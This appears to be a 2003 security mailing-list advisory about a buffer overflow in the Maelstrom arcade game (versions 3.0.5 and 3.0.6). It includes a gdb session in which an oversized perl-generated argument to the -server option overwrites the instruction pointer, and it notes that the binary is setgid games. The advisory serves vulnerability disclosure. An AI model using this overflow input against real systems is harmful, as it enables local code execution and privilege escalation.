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Maelstrom Buffer Overflow
From: Luca Ercoli <luca.ercoli () inwind it>
Date: 18 May 2003 13:52:04 -0000

Maelstrom is an arcade game. There is a buffer overflow vulnerability in 
Maelstrom which allow local attacker 
arbitrary code execution.

Vulnerable systems: Maelstrom 3.0.6
                    Maelstrom 3.0.5

[lucae () linux]$ gdb /usr/bin/Maelstrom 

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This GDB was configured as "i586-mandrake-linux-gnu"...

(gdb) set args -server 2 () `perl -e 'print "ABCD" x 9999'`
(gdb) r

Starting program: /usr/bin/Maelstrom -server 2 () `perl -e 'print "ABCD" x 
Couldn't resolve host name for ABCDABC......ABCD

Program received signal SIGSEGV, Segmentation fault.
0x41444342 in ?? ()

(gdb) Quit

Note: -rwxr-sr-x    1 root     games      171568 19 feb 
03:38 /usr/bin/Maelstrom   in Linux Professional 9.0

Luca Ercoli luca.ercoli () inwind it

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